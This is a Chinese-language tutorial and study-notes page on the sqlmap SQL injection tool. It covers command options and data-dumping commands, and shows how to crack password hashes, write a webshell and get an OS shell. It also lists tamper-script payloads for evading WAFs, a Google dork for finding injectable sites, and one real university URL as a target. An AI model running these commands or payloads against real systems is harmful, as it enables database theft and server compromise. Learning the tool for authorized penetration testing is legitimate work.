SQLMAP使用方法

SQLMAP学习笔记+网上收集资料

流程总览

这里是最常用的几条命令:

  1. 寻找注入点

GET方式

1
sqlmap -u "url"         //这个URL必须含?

POST方式

1
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

cookie注入

1
sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉?及其后的内容,并将它们放在cookie的内容里面

tamper方式

1
sqlmap -u "url" -v 3 --batch --tamper "sac.py"  //temper后面的插件可以去sql安装目录查找

自动检测表

1
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

延时两秒

1
Sqlmap –u “url” --delay 2

频率3次

1
Sqlmap –u “url” --safe-freq 3

伪静态

1
Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加*
  1. 查看数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sqlmap -u "url" --dbs   //查看所有数据库

sqlmap -u "url" --users //查看所有用户

sqlmap -u "url" --current-db //查看当前的数据库

sqlmap -u "url" --current-user //产看当前的用户

sqlmap -u "url" --is-dba //查看是否是最高权限

sqlmap -u "url" --passwords //查看所有密码

sqlmap -u "url" –hostname //查看主机名

sqlmap -u "url" privileges -U username //查看用户权限

sqlmap -u "url" –roles //查看用户角色
  1. 查看详细内容
1
2
3
4
5
sqlmap -u "url" --tables -D "database" //database这个数据库的表数据表

sqlmap -u "url" --columns -T "tables" -D "database" //查看tables这个数据表的字段

sqlmap -u "url" --dump "a,b,c" -C "columns" -T "tables" -D "database" //下载内容,后面的-CTDabc都是对下载的数据库表段的约束如果不加就是下载所有
  1. 执行特殊操作

文件查看

1
sqlmap -u "url" –file-read= //这个读取的文件会存在本地的结果目录,请认真看提示

文件写入

1
sqlmap -u "url" --file-write=本地文件路径 --file-dest=网站的绝对路径 //上传webshell用,需要dba权限

命令执行

1
2
3
sqlmap -u "url" --os-cmd "cmd"  //执行cmd代表的命令,如cd C:/

sqlmap -u "url" --os-shell //进入数据库自带的shell

命令总览

使用sqlmap -hh可以查看详细的命令说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
-r 1.txt			对于用post方法提交的,参数不在URL里面的网页,可以先截获数据,保存成文件再用这个参数执行
-l log.txt 可以将代理的日志作为目标去检测[见下图]
-m 1.txt 对于多个URL,可以一排一个写入文件后加载
--force-ssl 对于使用SSL的URL要在后面加上这个参数
--data 对于使用post方法,可以将参数写在data后面
--param-del=""
--cookie="" level 2 对于需要验证才能访问的URL,可以加上cookie值验证,如果要检测cookie是否有注入漏洞,level要高于1
--random-agent 使用随机的user-agent
--user-agent="" level 3 指定user-agent,如要检测它是否有漏洞level要高于2
--header="\n" 指定头信息,如User-Agent:dsacs,大小写敏感,多个用\n分隔
--method=GET POST 设置提交方式,默认一个一个的尝试
--auth-type 如果是基于http的验证,如Basic NTLM Digest,可直接加类型再配合下一个参数使用
--auth-cred "user:pass" 填写账号和密码

--proxy="http:127.0.0.1:8087" 使用代理
--proxy-cred="name:pass" 如果代理要密码的话
--ignore-proxy 强制不使用代理

--delay 请求延迟间隔,单位秒,默认无延迟
--retries 链接失败重试次数3
--timeout 链接超时时间30
--randomize="param" 使用和源参数类型长度一致的参数
sqlmap -l l.log --scope="(www)?\.target\.(com|net|org)" 这是一个正则表达式,是对于log文件里面URL过多时,进行筛选,这里是只要com/net/org结尾的域名
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|11|111)" 同上,筛选19*.168.20.1/11/111这几个网段的IP

--safe-url="url" 设置正确的URL,因为如果一直尝试错误的URL可能会被服务器拉黑,过几次登下正确的防止这个发生
--safe-freq 10 尝试的与正确的URL的交换频率
--skip-urlencode 有的URL在get方式提交时没编码,就要用这个
--eval=""php代码 这个后面可以跟PHP代码,能够执行

--keep-alive 保持连接会降低资源使用,但是不能与代理兼容
--predict-output 能够在找到一个信息后缩小检测的范围,不能与--threads兼容
--null-connection 只看返回文件的大小,不要他的内容与--text-only不兼容
--threads 最大并发数,默认1,最大不要超过10,盲注时一次返回一个字符【7次请求】
-o 使用除了--threads的全部的优化参数

-p 指定参数,使level失效
-skip 排除不扫描的参数
对于伪静态网页,就在参数后面加*
--dbms 接数据库管理系统,如MySQL
--os 接系统,如Linux
--invalid-bignum 使用大数作为假的值
--invalid-logical 使用逻辑数作为假的值
--no-cat 对于接收到的null不自动转换成空格
--no-escape 不使用逃逸,就是不把'转换成asii码形式
--prefix 在参数前指定前缀
--suffix 在参数后指定后缀
--level 设置检查的等级,默认为1,共5个,可以查看/usr/share/sqlmap/xml/payloads这个文件了解详细的信息
--risk 设置风险等级,默认是安全的检查,第四等可能会修改数据库内容

--string 当页面含有这个字符串时为真
--not-string 当页面不含这个字符串时为真
--regexp 用正则表达式判断
--code 当状态代码为*时为真
--text-only 页面含有*时为真
--titles 页面标题为*时为真

--techniques
B E U S T 使用什么检查技术,默认所有,这里分别是基于布尔的盲注,基于错误的判断,联合查询,堆积,基于时间的查询
--time-sec
--union-cols 联合查询第几列到第几列
--union-char 用select null,1:2 这种,可能会出错,就讲这个null换成其他数字占位
--second-order 当注入后在第二个页面显示错误信息,这里就接上显示错误信息的地方
-fingerprint 指纹信息
--banner 版本信息

--batch 按照软件默认设置,自动回答
--count 计数
-s 将这个会话保存下次继续
-t 将这些数据保存
--charset 强制设置数据库编码
--crawl 设置蜘蛛爬行的深度
--csv-del 设置下载的数据的分隔方式,默认是,
--dbms-cred 设置数据库用户
--flush-session 清空以前的会话数据
--fresh-queries 不清空会话,重新查询
--hex 一16进制编码的方式传输数据
--output-dir 会话输出文件夹
--parse-errors 显示MySQL错误信息
--save 保存当前配置为文件
-z 特别的助记方式,后面接的只要是独一无二的企鹅存在的就可以用,如user-agent可以用ueraet.

--answers 这个可以对一些特定的问题作出回答,在自动化注入中用
--check-waf 检查是否含有waf等
--identify-waf 彻底的检查waf等的信息

--smart 当有大量目标时,这个就只检查基于错误的注入点
--mobile 模拟智能手机去扫描
--wizard 向导模式
--purge-out 清除输出内容

使用-l参数时,这样设置burpsuite:

用户手册-注入判断

用户手册来自乌云瞌睡龙,稍加分类方便查阅

当给sqlmap这么一个url的时候,它会:

1. 判断可注入的参数

2. 判断可以用那种SQL注入技术来注入

3. 识别出哪种数据库

4. 根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1. 基于布尔的盲注,即可以根据返回页面判断条件(真\|假)的注入。

2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4. 联合查询注入,可以使用union的情况下的注入。

5. 堆查询注入,可以同时执行多条语句的执行时的注入。(使用;分隔开多条语句,最为灵活,可以自己构造select(含)外的其他语句)

sqlmap支持的数据库管理系统有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

用来连接数据库


这是一个比较实用的功能,用来连接数据库格式为

设置显示信息的详细度:


使用-v参数,共有七个等级:

0. 只显示python错误以及严重的信息。

1. 同时显示基本信息和警告信息。(默认)

2. 同时显示debug信息。

3. 同时显示注入的payload。

4. 同时显示HTTP请求。

5. 同时显示HTTP响应头。

6. 同时显示HTTP响应页面。

可以通过学习sqlmap的payload来学习sql注入,这时需要使用3级。

获取目标方式


  1. 直接输入URL->参数:-u或者—url:

  2. 导入Burp或者WebScarab的代理日志日志文件->参数:-l(注意这个和-r参数读去文件的区别)

  3. 从文件中读入->参数:-m
    文件中保存url格式如下,sqlmap会一个一个检测

    www.target1.com/vuln1.php?q=foobar
    
    www.target2.com/vuln2.asp?id=1
    
    www.target3.com/vuln3/id/1*
  4. 从文件读入http请求,这时就不需要再进行其他的请求头设置了->参数:-r
    比如文本文件内如下:

    POST /vuln.php HTTP/1.1
    
    Host: www.target.com
    
    User-Agent: Mozilla/4.0
    
    id=1

    当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后面加上:443

  5. 处理Google的搜索结果->参数:-g
    sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
    例子:

    1
    python sqlmap.py -g "inurl:\".php?id=1\""
  6. 此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。(这个不懂)

  7. 从xml文件获取。

发送请求数据


http数据

参数:–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子:

1
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数拆分字符

参数:–param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数(默认是&)。

例子:

1
2
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1"
--param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:

1. web应用需要登陆的时候。

2. 你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

(这可能直接会被过滤掉或是触发警报,可以使用真实浏览器的useragent,百度一下就有了)

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:–headers

可以通过–headers参数来增加额外的http头

HTTP认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1. Basic

2. Digest

3. NTLM

例子:

1
2
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"
--auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:–auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:–delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:–timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:–retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:–randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:–scope

例如:

1
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1. --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。

2. --safe-freq:提供一个安全不错误的连接,一段频率后会访问一次。

关掉URL参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:–eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

1
2
3
python sqlmap.py -u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

注入


参数相关

指定要测试的参数->参数:-p

如: -p “id,user-anget”

指定要跳过测试的参数->–skip

如:–skip=”user-angent.referer”

对于伪静态链接,可以在想测试的参数后面加*,它会测试那个指定的参数

例如:

1
python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/"

指定数据库管理系统->–dbms

不指定会自动探测,如果知道最好指定

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定服务器系统->–os

不指定会自动探测,支持的有:Linux、Windows。

指定无效的大数字->–invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:–invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:–prefix,–suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

1
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

1
2
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix
"’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

1
2
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’)
LIMIT 0, 1";

探测

探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。

注入技术

测试是否是注入

参数:–technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec

当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:–union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:–union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。

二阶SQL注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后面跟一个判断页面的URL地址。

用户手册-获取数据

列数据

标志

参数:-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:–current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:–is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:–users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft
SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:–privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:–roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

1
2
sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--tables -D dvwa

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:–columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举数据库系统的架构

参数:–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:

1
2
sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--columns -T users -D dvwa

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

1
2
3
sqlmap -u
"http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--count -T users -D dvwa

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop
1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first
3 –last
5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft
SQL
Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。

-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名

-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo'" -v 1

[...]

[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''

[hh:mm:14] [INFO] retrieved: foo

SELECT 'foo': 'foo'

\$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo', 'bar'" -v 2

[...]

[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''

[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into

distinct queries to be able to retrieve the output even if we are going blind

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: foo

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS
VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: bar

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

SELECT 'foo', 'bar': 'foo, bar'

爆破

暴力破解表名

参数:–common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1. MySQL数据库版本小于5.0,没有information_schema表。

2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。

3. 当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

暴力破解列名

参数:–common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

可以选择多线程来尝试破解。

用户手册-Tamper脚本

Tamper就是一些脚本,用来编码payload来绕过waf检查过滤的。下面对绕过进行了分类。来源91ri

另外脚本采用Python编写可以直接打开查看内容。

也可以自己写一些tamper,所谓tamper就是替换,比如过滤了,那么就把所有含,的语句写成不含,的语句。

针对过滤空格的:


space2dash.py

作用:用”– 随机字符串%0A” 替换原来的空格
示例:

1
2
'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

原理是–n是注释,后面内容不生效,%0A为换行符,这样就可以不使用空格分隔了。
在以下版本做过测试:

  • MSSQL
  • SQLite

space2hash.py

作用:空格替换为#号 随机字符串 以及换行符
示例:

1
2
1 AND 9227=9227
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

版本要求:

  • MySQL
    在以下版本做过测试:
  • MySQL 4.0, 5.0

space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符(和上一条原理一致)
示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1 AND 9227=9227 
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
```
版本要求:
* MySQL >= 5.1.13 Tested
针对此做过测试:
* MySQL 5.1.41

#### space2mssqlblank.py
作用:空格替换为其它空符号
示例:
```sql
SELECT id FROM users
SELECT%08id%02FROM%0Fusers

版本要求:

  • Microsoft SQL Server
    在以下版本做过测试:
  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005

space2mysqlblank.py

作用:空格替换其它空白符号
示例:

1
2
SELECT id FROM users 
SELECT%0Bid%0BFROM%A0users

版本要求:

  • MySQL
    在以下版本做过测试:
  • MySQL 5.1

space2mssqlhash.py

作用:替换空格
示例:

1
2
'1 AND 9227=9227'
'1%23%0AAND%23%0A9227=9227'

版本要求:

  • MSSQL
  • MySQL

modsecurityversioned.py

作用:过滤空格,包含完整的查询版本注释
示例:

1
2
'1 AND 2>1--'
'1 /*!30874AND 2>1*/--'

版本要求:

  • MySQL
    在以下版本做过测试:
  • MySQL 5.0

space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’
示例:

1
2
SELECT id FROM users 
SELECT//id//FROM/**/users

在以下版本做过测试:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

space2mysqldash.py

作用:用–%0A替换空格
注:之前有个mssql的 这个是mysql的
示例:

1
2
'1 AND 9227=9227'
'1--%0AAND--%0A9227=9227'

版本要求:

  • MySQL
  • MSSQL

space2plus.py

作用:用+替换空格
示例:

1
2
'SELECT id FROM users'
'SELECT+id+FROM+users'

在以下版本做过测试:
All

bluecoat.py

作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
示例:

1
2
'SELECT id FROM users where id = 1'
'SELECT%09id FROM users where id LIKE 1'

在以下版本做过测试:

  • MySQL 5.1, SGOS

space2randomblank.py

作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
示例:

1
2
'SELECT id FROM users'
'SELECT%0Did%0DFROM%0Ausers'

在以下版本做过测试:
All

sp_password.py

作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
示例:

1
2
'1 AND 9227=9227-- '
'1 AND 9227=9227-- sp_password'

版本要求: * MSSQL

针对过滤引号的:


apostrophemask.py

作用:用utf8代替单引号
示例:

1
2
"1 AND '1'='1"
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

在以下版本做过测试:
all

apostrophenullencode.py

作用:绕过过滤双引号,替换字符和双引号。
示例:

1
2
"1 AND '1'='1"
'1 AND %00%271%00%27=%00%271'

在以下版本做过测试:

  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

针对过滤关键字的:


halfversionedmorekeywords.py

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
示例:

1
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

版本要求:
MySQL < 5.1
在以下版本做过测试:
MySQL 4.0.18, 5.0.22

ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
示例:

1
2
'IFNULL(1, 2)'
'IF(ISNULL(1),2,1)'

版本要求:

  • MySQL
  • SQLite (possibly)
  • SAP MaxDB (possibly)
    在以下版本做过测试:
  • MySQL 5.0 and 5.5

multiplespaces.py

作用:围绕SQL关键字添加多个空格
示例:

1
2
'1 UNION SELECT foobar'
'1 UNION SELECT foobar'

在以下版本做过测试:
All

halfversionedmorekeywords.py

作用:关键字前加注释
示例:

1
2
value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 
value/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

版本要求:

  • MySQL < 5.1
    在以下版本做过测试:
  • MySQL 4.0.18, 5.0.22

unionalltounion.py

作用:替换UNION ALL SELECT UNION SELECT
示例:

1
2
'-1 UNION ALL SELECT'
'-1 UNION SELECT'

版本要求: all

randomcomments.py

作用:用/**/分割sql关键字
‘INSERT’
‘IN//S//ERT’

unmagicquotes.py

作用:宽字符绕过 GPC addslashes
示例:

1
2
1’ AND 1=1 
1%bf%27 AND 1=1–%20

randomcase.py

作用:随机大小写
示例:
INSERT
InsERt
在以下版本做过测试:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

针对过滤比较符号的:


equaltolike.py

